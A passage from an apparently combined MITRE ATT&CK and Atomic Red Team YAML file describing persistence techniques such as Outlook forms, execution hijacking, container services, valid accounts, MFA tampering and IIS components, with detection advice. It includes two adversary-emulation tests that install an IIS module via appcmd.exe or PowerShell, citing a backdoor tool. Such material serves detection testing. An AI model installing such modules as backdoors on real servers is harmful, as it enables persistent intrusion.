        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: Outlook Forms
      description: |-
        Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

        Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574:
    technique:
      modified: '2023-11-21T20:02:33.404Z'
      name: Hijack Execution Flow
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Monitor for changes to environment variables, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
      created: '2020-03-12T20:38:12.465Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574
        external_id: T1574
      - source_name: Autoruns for Windows
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1543.005:
    technique:
      modified: '2024-04-16T12:35:38.832Z'
      name: Container Service
      description: |-
        Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.

        For example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)

        In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)

        Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Container: Container Creation'
      type: attack-pattern
      id: attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a
      created: '2024-02-15T13:41:46.784Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/005
        external_id: T1543.005
      - source_name: AppSecco Kubernetes Namespace Breakout 2020
        description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout
          using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.
        url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
      - source_name: Docker Systemd
        description: Docker. (n.d.). Start containers automatically. Retrieved February
          15, 2024.
        url: https://docs.docker.com/config/containers/start-containers-automatically/
      - source_name: GTFOBins Docker
        description: GTFOBins. (n.d.). docker. Retrieved February 15, 2024.
        url: https://gtfobins.github.io/gtfobins/docker/
      - source_name: Kubernetes Assigning Pods to Nodes
        description: Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February
          15, 2024.
        url: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/
      - source_name: Kubernetes DaemonSet
        description: Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/
      - source_name: Aquasec Kubernetes Attack 2023
        description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever
          Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14,
          2023.
        url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
      - source_name: AquaSec TeamTNT 2023
        description: Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged
          with New Aggressive Cloud Campaign. Retrieved February 15, 2024.
        url: https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign
      - source_name: Podman Systemd
        description: Valentin Rothberg. (2022, March 16). How to run pods as systemd
          services with Podman. Retrieved February 15, 2024.
        url: https://www.redhat.com/sysadmin/podman-run-pods-systemd-services
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Valid Accounts
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_contributors:
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - Sekhar Sarukkai, McAfee
      - Jon Sternstein, Stern Security
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_defense_bypassed:
      - Firewall
      - Anti-virus
      - Host Intrusion Prevention Systems
      - Network Intrusion Detection System
      - Application Control
      - System Access Controls
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      created: '2017-05-31T21:31:00.645Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078
        external_id: T1078
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: CISA MFA PrintNightmare
        description: Cybersecurity and Infrastructure Security Agency. (2022, March
          15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting
          Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
          Retrieved March 16, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1556.006:
    technique:
      modified: '2024-04-16T00:20:21.488Z'
      name: Multi-Factor Authentication
      description: "Adversaries may disable or modify multi-factor authentication
        (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce
        adversaries have gained access to a network by either compromising an account
        lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication
        Request Generation](https://attack.mitre.org/techniques/T1621), adversaries
        may leverage their access to modify or completely disable MFA defenses. This
        can be accomplished by abusing legitimate features, such as excluding users
        from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled
        MFA method, or by manually patching MFA programs and configuration files to
        bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD
        Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts
        file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls
        to localhost instead of an MFA server may cause the MFA process to fail. If
        a \"fail open\" policy is in place, any otherwise successful authentication
        attempt may be granted access without enforcing MFA. (Citation: Russians Exploit
        Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals,
        and privileges of the adversary, MFA defenses may be disabled for individual
        accounts or for all accounts tied to a larger group, such as all domain accounts
        in a victim's network environment.(Citation: Russians Exploit Default MFA
        Protocol - CISA March 2022) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Liran Ravich, CardinalOps
      - Muhammad Moiz Arshad, @5T34L7H
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Authentication'
      - 'User Account: User Account Modification'
      x_mitre_defense_bypassed:
      - Multi-Factor Authentication
      type: attack-pattern
      id: attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc
      created: '2022-05-31T19:31:38.431Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/006
        external_id: T1556.006
      - source_name: Russians Exploit Default MFA Protocol - CISA March 2022
        description: Cyber Security Infrastructure Agency. (2022, March 15). Russian
          State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor
          Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May
          31, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: Mandiant APT42
        description: 'Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise.
          Retrieved September 16, 2022.'
        url: https://www.mandiant.com/media/17826
      - source_name: Azure AD Conditional Access Exclusions
        description: Microsoft. (2022, August 26). Use Azure AD access reviews to
          manage users excluded from Conditional Access policies. Retrieved August
          30, 2022.
        url: https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1505.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Wes Hurd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001
      type: attack-pattern
      created: '2021-06-03T18:44:29.770Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1505.004
        url: https://attack.mitre.org/techniques/T1505/004
      - source_name: Microsoft ISAPI Extension Overview 2017
        url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)
        description: Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved
          June 3, 2021.
      - source_name: Microsoft ISAPI Filter Overview 2017
        url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)
        description: Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved
          June 3, 2021.
      - source_name: IIS Backdoor 2011
        url: https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html
        description: Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.
      - source_name: Trustwave IIS Module 2013
        url: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/
        description: Grunzweig, J. (2013, December 9). The Curious Case of the Malicious
          IIS Module. Retrieved June 3, 2021.
      - source_name: Microsoft ISAPI Extension All Incoming 2017
        url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)
        description: Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests.
          Retrieved June 3, 2021.
      - source_name: Dell TG-3390
        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
          August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved
          August 18, 2018.
        url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
      - source_name: MMPC ISAPI Filter 2012
        url: https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx
        description: MMPC. (2012, October 3). Malware signed with the Adobe code signing
          certificate. Retrieved June 3, 2021.
      - source_name: Microsoft IIS Modules Overview 2007
        url: https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
        description: Microsoft. (2007, November 24). IIS Modules Overview. Retrieved
          June 17, 2021.
      - source_name: ESET IIS Malware 2021
        url: https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
        description: Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware.
          Retrieved September 9, 2021.
      - url: https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
        description: Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor
          on Targets in the Middle East. Retrieved July 6, 2018.
        source_name: Unit 42 RGDoor Jan 2018
      modified: '2022-04-25T14:00:00.188Z'
      name: IIS Components
      description: |-
        Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)

        Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)

        Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to <code>%windir%\system32\inetsrv\config\applicationhost.config</code> could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)

        Monitor execution and command-line arguments of <code>AppCmd.exe</code>, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1505.004
    atomic_tests:
    - name: Install IIS Module using AppCmd.exe
      auto_generated_guid: 53adbdfa-8200-490c-871c-d3b1ab3324b2
      description: |
        The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.
        This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
        A successful execution will install a module into IIS using AppCmd.exe.
        [Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe)
        [IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)
      supported_platforms:
      - windows
      input_arguments:
        module_name:
          description: The name of the IIS module
          type: string
          default: DefaultDocumentModule_Atomic
        dll_path:
          description: The path to the DLL to be loaded
          type: path
          default: "%windir%\\system32\\inetsrv\\defdoc.dll"
      dependency_executor_name: powershell
      dependencies:
      - description: 'IIS must be installed in order to add a module to IIS.

          '
        prereq_command: "$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){
          Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS
          is not installed on $env:computername\" } \n"
        get_prereq_command: 'Install IIS to continue.

          '
      executor:
        command: "%windir%\\system32\\inetsrv\\appcmd.exe install module /name:#{module_name}
          /image:#{dll_path}\n"
        cleanup_command: "%windir%\\system32\\inetsrv\\appcmd.exe uninstall module
          #{module_name}\n"
        name: command_prompt
    - name: Install IIS Module using PowerShell Cmdlet New-WebGlobalModule
      auto_generated_guid: cc3381fb-4bd0-405c-a8e4-6cacfac3b06c
      description: |
        The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.
        This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
        A successful execution will install a module into IIS using New-WebGlobalModule.
        [Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-webglobalmodule?view=windowsserver2022-ps)
        [IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)
      supported_platforms:
      - windows
      input_arguments:
        module_name:
          description: The name of the IIS module
          type: string
          default: DefaultDocumentModule_Atomic
        dll_path:
          description: The path to the DLL to be loaded
          type: path
          default: "%windir%\\system32\\inetsrv\\defdoc.dll"
      dependency_executor_name: powershell
      dependencies:
      - description: 'IIS must be installed in order to add a module to IIS.

          '
        prereq_command: "$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){
          Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS
          is not installed on $env:computername\" } \n"
        get_prereq_command: 'Install IIS to continue.

          '
      executor:
        command: 'New-WebGlobalModule -Name #{module_name} -Image #{dll_path}

          '
        cleanup_command: 'Remove-WebGlobalModule -Name #{module_name}

          '
        name: powershell
  T1546:
    technique:
      modified: '2024-03-01T15:49:15.588Z'
      name: Event Triggered Execution
      description: "Adversaries may establish persistence and/or elevate privileges
        using system mechanisms that trigger execution based on specific events. Various
        operating systems have means to monitor and subscribe to events such as logons
        or other user activity such as running specific applications/binaries. Cloud
        environments may also support various functions and services that monitor
        and can be invoked in response to specific cloud events.(Citation: Backdooring
        an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:
        Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms
        as a means of maintaining persistent access to a victim via repeatedly executing
        malicious code. After gaining access to a victim system, adversaries may create/modify
        event triggers to point to malicious content that will be executed whenever
        the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware
        Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can
        be proxied by an account with higher permissions, such as SYSTEM or service
        accounts, an adversary may be able to abuse these triggered execution mechanisms
        to escalate their privileges. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring for additions or modifications of mechanisms
        that could be used to trigger event-based execution, especially the addition
        of abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network. Also look for changes that do
        not line up with updates, patches, or other planned administrative activity.
        \n\nThese mechanisms may vary by OS, but are typically stored in central repositories
        that store configuration information such as the Windows Registry, Common
        Information Model (CIM), and/or specific named files, the last of which can
        be hashed and compared to known good values. \n\nMonitor for processes, API/System
        calls, and other common ways of manipulating these event repositories. \n\nTools
        such as Sysinternals Autoruns can be used to detect changes to execution triggers
        that could be attempts at persistence. Also look for abnormal process call
        trees for execution of other commands that could relate to Discovery actions
        or other techniques.  \n\nMonitor DLL loads by processes, specifically looking
        for DLLs that are not recognized or not normally loaded into a process. Look
        for abnormal process behavior that may be due to a process loading a malicious
        DLL. Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as making network connections
        for Command and Control, learning details about the environment through Discovery,
        and conducting Lateral Movement. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - SaaS
      - IaaS
      - Office 365
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'WMI: WMI Creation'
      - 'File: File Metadata'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Cloud Service: Cloud Service Modification'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db
      created: '2020-01-22T21:04:23.285Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546
        external_id: T1546
      - source_name: FireEye WMI 2015
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
      - source_name: Microsoft DART Case Report 001
        description: Berk Veral. (2020, March 9). Real-life cybercrime stories from
          DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.
        url: https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team
      - source_name: amnesia malware
        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
        url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
      - source_name: Backdooring an AWS account
        description: Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved
